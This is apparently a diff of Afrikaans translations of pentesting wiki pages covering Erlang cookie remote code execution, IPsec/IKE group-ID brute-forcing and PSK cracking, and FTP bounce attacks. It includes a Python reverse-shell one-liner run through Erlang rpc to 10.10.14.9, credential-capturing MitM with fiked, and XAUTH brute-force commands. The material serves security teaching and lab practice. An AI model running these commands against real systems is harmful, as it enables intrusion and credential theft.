## Afgeleë Verbinding
|
||||
## Remote Connection
|
||||
|
||||
As jy die **Authentikasie koekie** kan **lek**, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie geleë in `~/.erlang.cookie` en word dit deur erlang gegenereer by die eerste begin. As dit nie handmatig gewysig of gestel is nie, is dit 'n ewekansige string \[A:Z] met 'n lengte van 20 karakters.
|
||||
As jy die **Authentication cookie** kan **leak**, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie geleë in `~/.erlang.cookie` en word dit deur erlang gegenereer by die eerste opstart. As dit nie gemodifiseer of handmatig gestel is nie, is dit 'n ewekansige string \[A:Z] met 'n lengte van 20 karakters.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
@ -57,19 +57,21 @@ At last, we can start an erlang shell on the remote system.
|
||||
Meer inligting in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Die outeur deel ook 'n program om die koekie te bruteforce:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Plaaslike Verbinding
|
||||
|
||||
In hierdie geval gaan ons CouchDB misbruik om plaaslike bevoegdhede te verhoog:
|
||||
In hierdie geval gaan ons CouchDB misbruik om plaaslike regte te verhoog:
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
Voorbeeld geneem van [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Jy kan **Canape HTB masjien gebruik om** **te oefen** hoe om **hierdie kwesbaarheid te** **ontgin**.
|
||||
Example geneem van [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
Jy kan **Canape HTB masjien gebruik om** **te oefen** hoe om **hierdie kwesbaarheid te benut**.
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afstandgebruikers na die netwerkpoort (afstands toegang), wat as die ruggraat vir ondernemings VPN-oplossings dien.
|
||||
**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afstandgebruikers na die netwerkpoort (afstands toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings.
|
||||
|
||||
Die vestiging van 'n **veiligheidsassosiasie (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:
|
||||
Die totstandkoming van 'n **veiligheidsassosiasie (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:
|
||||
|
||||
- **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, wat of hoofmodus gebruik, wat drie pare boodskappe behels, of **aggressiewe modus**.
|
||||
- **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasiefase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis.
|
||||
@ -26,7 +26,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Vind 'n geldige transformasie**
|
||||
|
||||
Die IPSec-konfigurasie kan voorberei word om slegs een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**.
|
||||
Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**.
|
||||
|
||||
Dan is die eerste ding wat jy moet doen om **'n geldige transformasie te vind**, sodat die bediener met jou kan praat. Om dit te doen, kan jy die hulpmiddel **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakket na die poort met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**.
|
||||
|
||||
@ -41,12 +41,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Soos jy in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn geconfigureer is met 'n vooraf gedeelde sleutel (en dit is regtig goed vir 'n pentester).\
|
||||
Soos wat jy in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn geconfigureer is met 'n vooraf gedeelde sleutel (en dit is regtig goed vir 'n pentester).\
|
||||
**Die waarde van die laaste lyn is ook baie belangrik:**
|
||||
|
||||
- _0 teruggekeer handshake; 0 teruggekeer kennisgewing:_ Dit beteken die teiken is **nie 'n IPsec gateway nie**.
|
||||
- _**1 teruggekeer handshake; 0 teruggekeer kennisgewing:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word).
|
||||
- _0 teruggekeer handshake; 1 teruggekeer kennisgewing:_ VPN gateways reageer met 'n kennisgewing boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word).
|
||||
- _0 teruggekeer handshake; 0 teruggekeer notify:_ Dit beteken die teiken is **nie 'n IPsec-gateway nie**.
|
||||
- _**1 teruggekeer handshake; 0 teruggekeer notify:**_ Dit beteken die **teiken is geconfigureer vir IPsec en is bereid om IKE-onderhandeling te voer, en een of meer van die transformasies wat jy voorgestel het, is aanvaarbaar** (n geldige transformasie sal in die uitvoer gewys word).
|
||||
- _0 teruggekeer handshake; 1 teruggekeer notify:_ VPN-gateways reageer met 'n notify-boodskap wanneer **geen van die transformasies aanvaarbaar is nie** (alhoewel sommige gateways nie doen nie, in welke geval verdere analise en 'n hersiene voorstel probeer moet word).
|
||||
|
||||
Dan, in hierdie geval het ons reeds 'n geldige transformasie, maar as jy in die 3de geval is, moet jy **'n bietjie brute-force om 'n geldige transformasie te vind:**
|
||||
|
||||
@ -73,7 +73,7 @@ Jy kan ook probeer om transformasies te brute force met [**ikeforce**](https://g
|
||||
In **DH Groep: 14 = 2048-bit MODP** en **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (in hierdie geval). Die `--trans` formaat is $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenner glo dat **lande met baie hulpbronne maklik die versleuteling** van data wat hierdie swak groepe gebruik, kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, stel dit hierdie magtige lande in staat om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).
|
||||
Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenner glo dat **lande met baie hulpbronne maklik die versleuteling** van data wat hierdie swak groepe gebruik, kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie geld kos om hierdie metode op te stel, laat dit hierdie magtige lande toe om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).
|
||||
|
||||
### Bediener vingerafdruk
|
||||
|
||||
@ -101,7 +101,7 @@ IP Address No. Recv time Delta Time
|
||||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Dit kan ook bereik word met die nmap skrip _**ike-version**_
|
||||
Dit kan ook bereik word met die nmap-skrip _**ike-version**_
|
||||
|
||||
## Vind die korrekte ID (groepsnaam)
|
||||
|
||||
@ -110,15 +110,15 @@ Om dit te doen, beveel ek 2 metodes aan:
|
||||
|
||||
### Bruteforcing ID met ike-scan
|
||||
|
||||
Eerstens, probeer om 'n versoek met 'n vals ID te maak om die hash te versamel ("-P"):
|
||||
Eerstens, probeer om 'n versoek met 'n valse ID te maak om die hash te versamel ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
As **geen hash teruggestuur word nie**, sal hierdie metode van brute forcing waarskynlik werk. **As 'n paar hash teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes):
|
||||
As **geen hash teruggestuur word nie**, sal hierdie metode van brute forcing waarskynlik werk. **As 'n paar hash teruggestuur word, beteken dit dat 'n vals hash teruggestuur gaan word vir 'n vals ID, so hierdie metode sal nie betroubaar wees** om die ID te brute-force nie. Byvoorbeeld, 'n vals hash kan teruggestuur word (dit gebeur in moderne weergawes):
|
||||
|
||||
.png>)
|
||||
|
||||
Maar as, soos ek gesê het, geen hash teruggestuur word nie, moet jy probeer om algemene groepsname te brute-force met ike-scan.
|
||||
Maar as, soos ek gesê het, geen hash teruggestuur word nie, dan moet jy probeer om algemene groepsname te brute-force met ike-scan.
|
||||
|
||||
Hierdie skrip **sal probeer om moontlike ID's te brute-force** en sal die ID's terugstuur waar 'n geldige handdruk teruggestuur word (dit sal 'n geldige groepsnaam wees).
|
||||
|
||||
@ -128,7 +128,9 @@ Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bruteforcing ID met Iker
|
||||
|
||||
@ -136,14 +138,14 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
||||
|
||||
### Bruteforcing ID met ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **probeer om verskillende kwesbaarhede te benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **verskillende kwesbaarhede probeer benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).
|
||||
|
||||
Standaard sal **ikeforce** aan die begin 'n paar ewekansige ID's stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal om te gebruik.
|
||||
|
||||
- Die **eerste metode** is om die groepsname te brute-force deur **inligting te soek** oor **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepsnaam korrek is).
|
||||
- Die **tweede metode** wat beskikbaar is, is om **die aantal antwoorde wat na elke poging gestuur word, te kontroleer** omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word.
|
||||
- Die **derde metode** bestaan uit **soek na "INVALID-ID-INFORMATION" in antwoord op 'n onkorrekte ID**.
|
||||
- Laastens, as die bediener niks aan die kontroles terugstuur nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n pakkie antwoordgee.\
|
||||
- Laastens, as die bediener niks na die kontroles herhaal nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n pakkie antwoordgee.\
|
||||
Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te verkry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is).
|
||||
|
||||
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
|
||||
@ -163,7 +165,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
||||
## Capturing & cracking the hash
|
||||
|
||||
Laastens, as jy 'n **geldige transformasie** en die **groepsnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare hash gryp:
|
||||
Laastens, as jy 'n **geldige transformasie** en die **groepnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare hash gryp:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
@ -175,13 +177,13 @@ psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
## **XAuth**
|
||||
|
||||
**Aggressiewe modus IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepsverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.
|
||||
**Aggressive mode IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word algemeen gebruik vir **groepverifikasie** doeleindes. Hierdie metode word versterk deur **XAuth (Extended Authentication)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of soortgelyke stelsels.
|
||||
|
||||
Met die oorgang na **IKEv2** word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel om gebruikers te verifieer. Hierdie verandering beklemtoon 'n evolusie in verifikasietegnieke binne veilige kommunikasieprotokolle.
|
||||
Met die oorgang na **IKEv2**, word 'n noemenswaardige verskuiwing waargeneem waar **EAP (Extensible Authentication Protocol)** gebruik word in plaas van **XAuth** vir die doel van die verifikasie van gebruikers. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.
|
||||
|
||||
### Plaaslike netwerk MitM om akrediteer te vang
|
||||
|
||||
So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [meer info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang:
|
||||
So kan jy die data van die aanmelding vang met _fiked_ en kyk of daar enige standaard gebruikersnaam is (Jy moet IKE-verkeer na `fiked` herlei vir sniffing, wat gedoen kan word met die hulp van ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal as 'n VPN-eindpunt optree en die XAuth akrediteer vang:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
@ -189,7 +191,7 @@ Ook, gebruik IPSec om 'n MitM-aanval te maak en alle verkeer na poort 500 te blo
|
||||
|
||||
### Brute-forcing XAUTH gebruikersnaam en wagwoord met ikeforce
|
||||
|
||||
Om die **XAUTH** te brute force (wanneer jy 'n geldige groepsnaam **id** en die **psk** ken) kan jy 'n gebruikersnaam of lys van gebruikersname en 'n lys van wagwoorde gebruik:
|
||||
Om die **XAUTH** te brute force (wanneer jy 'n geldige groepnaam **id** en die **psk** ken) kan jy 'n gebruikersnaam of lys van gebruikersname en 'n lys van wagwoorde gebruik:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
@ -199,7 +201,7 @@ As jy een of verskeie geldige transformasies gevind het, gebruik dit net soos in
|
||||
|
||||
## Outentisering met 'n IPSEC VPN
|
||||
|
||||
In Kali, **VPNC** word gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_.
|
||||
In Kali word **VPNC** gebruik om IPsec tonnels op te stel. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer met die opdrag _**vpnc**_.
|
||||
|
||||
Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel:
|
||||
```bash
|
||||
@ -221,7 +223,7 @@ In hierdie opstelling:
|
||||
- Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
|
||||
- Vervang `[VPN_GROUP_SECRET]` met die VPN se groep geheim.
|
||||
- Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-authentikasie akkrediteer.
|
||||
- `[PID]` simboliseer die proses ID wat toegeken sal word wanneer `vpnc` begin.
|
||||
- `[PID]` simboliseer die proses ID wat toegeken sal word wanneer `vpnc` geaktiveer word.
|
||||
|
||||
Verseker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN gekonfigureer word.
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
## Basiese Inligting
|
||||
|
||||
Die **File Transfer Protocol (FTP)** dien as 'n standaardprotokol vir lêer oordrag oor 'n rekenaar netwerk tussen 'n bediener en 'n kliënt.\
|
||||
Dit is 'n **plain-text** protokol wat die **nuwe lyn karakter `0x0d 0x0a`** gebruik, so soms moet jy **verbinde met `telnet`** of **`nc -C`**.
|
||||
Dit is 'n **plain-text** protokol wat die **new line character `0x0d 0x0a`** gebruik, so soms moet jy **verbinde met `telnet`** of **`nc -C`**.
|
||||
|
||||
**Standaard Poort:** 21
|
||||
```
|
||||
@ -14,13 +14,13 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Verbindinge Aktief & Passief
|
||||
|
||||
In **Aktiewe FTP** begin die FTP **klient** eers die beheer **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
|
||||
In **Aktiewe FTP** begin die FTP **klient** eers die kontrole **verbinding** vanaf sy poort N na die FTP Bediener se kommando poort – poort 21. Die **klient** luister dan na poort **N+1** en stuur die poort N+1 na die FTP Bediener. Die FTP **Bediener** begin dan die data **verbinding**, vanaf **sy poort M na die poort N+1** van die FTP Klient.
|
||||
|
||||
Maar, as die FTP Klient 'n firewall opgestel het wat die inkomende dataverbindinge van buite beheer, kan aktiewe FTP 'n probleem wees. En, 'n haalbare oplossing daarvoor is Passiewe FTP.
|
||||
|
||||
In **Passiewe FTP**, begin die klient die beheerverbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
|
||||
In **Passiewe FTP**, begin die klient die kontrole verbinding vanaf sy poort N na die poort 21 van die FTP Bediener. Na hierdie, gee die klient 'n **passv kommando** uit. Die bediener stuur dan vir die klient een van sy poortnommers M. En die **klient** **begin** die data **verbinding** vanaf **sy poort P na poort M** van die FTP Bediener.
|
||||
|
||||
Bron: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Verbinding foutopsporing
|
||||
|
||||
@ -33,7 +33,7 @@ Die **FTP** opdragte **`debug`** en **`trace`** kan gebruik word om te sien **ho
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
```
|
||||
### Verbinding maak met FTP met behulp van starttls
|
||||
### Verbinding maak met FTP met starttls
|
||||
```
|
||||
lftp
|
||||
lftp :~> set ftp:ssl-force true
|
||||
@ -105,7 +105,7 @@ Hier kan jy 'n mooi lys met standaard ftp geloofsbriewe vind: [https://github.co
|
||||
|
||||
### Geoutomatiseerd
|
||||
|
||||
Anon inlog en bounce FTP kontrole word standaard deur nmap uitgevoer met die **-sC** opsie of:
|
||||
Anon login en bounce FTP kontrole word standaard deur nmap met **-sC** opsie uitgevoer of:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,7 +115,7 @@ Jy kan met 'n FTP-bediener verbind deur 'n blaaier (soos Firefox) te gebruik met
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy kan dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
|
||||
Let wel dat as 'n **webtoepassing** data wat deur 'n gebruiker beheer word **direk na 'n FTP-bediener** stuur, jy dubbele URL-kodering `%0d%0a` (in dubbele URL-kodering is dit `%250d%250a`) bytes kan stuur en die **FTP-bediener dwing om arbitrêre aksies** uit te voer. Een van hierdie moontlike arbitrêre aksies is om inhoud van 'n gebruiker se beheerde bediener af te laai, poortskandering uit te voer of te probeer om met ander teksgebaseerde dienste (soos http) te kommunikeer.
|
||||
|
||||
## Laai alle lêers van FTP af
|
||||
```bash
|
||||
@ -131,15 +131,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`HELP`** Die bediener dui aan watter opdragte ondersteun word
|
||||
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex te druk_).
|
||||
- **`PORT 127,0,0,1,0,80`** Dit sal die FTP-bediener aandui om 'n verbinding met die IP 127.0.0.1 op poort 80 te vestig (_jy moet die 5de karakter as "0" en die 6de as die poort in desimale of gebruik die 5de en 6de om die poort in hex uit te druk_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Dit sal die FTP-bediener aandui om 'n TCP-verbinding (_aangedui deur "2"_) met die IP 127.0.0.1 op poort 80 te vestig. Hierdie opdrag **ondersteun IPv6**.
|
||||
- **`LIST`** Dit sal die lys van lêers in die huidige gids stuur
|
||||
- **`LIST -R`** Lys rekursief (as toegelaat deur die bediener)
|
||||
- **`APPE /path/something.txt`** Dit sal die FTP aandui om die data wat van 'n **passiewe** verbinding of van 'n **PORT/EPRT** verbinding ontvang is, na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg.
|
||||
- **`APPE /path/something.txt`** Dit sal die FTP aandui om die data wat ontvang is van 'n **passiewe** verbinding of van 'n **PORT/EPRT** verbinding na 'n lêer te stoor. As die lêernaam bestaan, sal dit die data byvoeg.
|
||||
- **`STOR /path/something.txt`** Soos `APPE` maar dit sal die lêers oorskryf
|
||||
- **`STOU /path/something.txt`** Soos `APPE`, maar as dit bestaan, sal dit niks doen nie.
|
||||
- **`RETR /path/to/file`** 'n Passiewe of 'n poortverbinding moet gevestig word. Dan sal die FTP-bediener die aangeduide lêer deur daardie verbinding stuur
|
||||
- **`REST 6`** Dit sal die bediener aandui dat dit die volgende keer wat dit iets stuur met `RETR` in die 6de byte moet begin.
|
||||
- **`REST 6`** Dit sal die bediener aandui dat dit die volgende keer iets stuur met `RETR` dit moet begin by die 6de byte.
|
||||
- **`TYPE i`** Stel oordrag na binêr
|
||||
- **`PASV`** Dit sal 'n passiewe verbinding oopmaak en die gebruiker aandui waar hy kan aansluit
|
||||
- **`PUT /tmp/file.txt`** Laai die aangeduide lêer na die FTP op
|
||||
@ -152,30 +152,30 @@ Sommige FTP-bedieners laat die opdrag PORT toe. Hierdie opdrag kan gebruik word
|
||||
|
||||
[**Leer hier hoe om 'n FTP-bediener te misbruik om poorte te skandeer.**](ftp-bounce-attack.md)
|
||||
|
||||
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener met ander protokolle te laat interaksie hê. Jy kan **'n lêer wat 'n HTTP-versoek bevat, oplaai** en die kwesbare FTP-bediener **dit na 'n arbitrêre HTTP-bediener laat stuur** (_miskien om 'n nuwe admin-gebruiker by te voeg?_) of selfs 'n FTP-versoek oplaai en die kwesbare FTP-bediener 'n lêer vir 'n ander FTP-bediener laat aflaai.\
|
||||
Jy kan ook hierdie gedrag misbruik om 'n FTP-bediener met ander protokolle te laat interaksie hê. Jy kan **'n lêer wat 'n HTTP-versoek bevat** oplaai en die kwesbare FTP-bediener **dit na 'n arbitrêre HTTP-bediener laat stuur** (_miskien om 'n nuwe admin-gebruiker by te voeg?_) of selfs 'n FTP-versoek oplaai en die kwesbare FTP-bediener 'n lêer vir 'n ander FTP-bediener laat aflaai.\
|
||||
Die teorie is eenvoudig:
|
||||
|
||||
1. **Laai die versoek (binne 'n tekslêer) na die kwesbare bediener op.** Onthou dat as jy met 'n ander HTTP of FTP-bediener wil praat, jy lyne moet verander met `0x0d 0x0a`
|
||||
2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer op te laai, moes jy 'n beeldkop aan die begin sit)
|
||||
2. **Gebruik `REST X` om te verhoed dat jy die karakters stuur wat jy nie wil stuur nie** (miskien om die versoek binne die lêer op te laai moes jy 'n paar beeldkop in die begin sit)
|
||||
3. **Gebruik `PORT` om met die arbitrêre bediener en diens te verbind**
|
||||
4. **Gebruik `RETR` om die gestoor versoek na die bediener te stuur.**
|
||||
|
||||
Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket nie skryfbaar**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is:
|
||||
Dit is hoogs waarskynlik dat dit **'n fout soos** _**Socket not writable**_ **sal gooi omdat die verbinding nie lank genoeg duur om die data met `RETR` te stuur nie**. Voorstelle om te probeer om dit te vermy is:
|
||||
|
||||
- As jy 'n HTTP-versoek stuur, **sit die dieselfde versoek een na die ander** totdat **\~0.5MB** ten minste. Soos hierdie:
|
||||
|
||||
{% file src="../../images/posts.txt" %}
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
{{#endfile}}
|
||||
|
||||
- Probeer om die versoek met "rommel" data wat verband hou met die protokol te **vol** (as jy met FTP praat, miskien net rommelopdragte of die `RETR`-instruksie herhaal om die lêer te kry)
|
||||
- Vul net die versoek met baie null karakters of ander **(verdeeld op lyne of nie)**
|
||||
- Probeer om die versoek te **vol met "junk" data wat verband hou met die protokol** (met FTP praat miskien net junk-opdragte of die `RETR`-instruksie herhaal om die lêer te kry)
|
||||
- Net **vol die versoek met baie null karakters of ander** (verdeeld op lyne of nie)
|
||||
|
||||
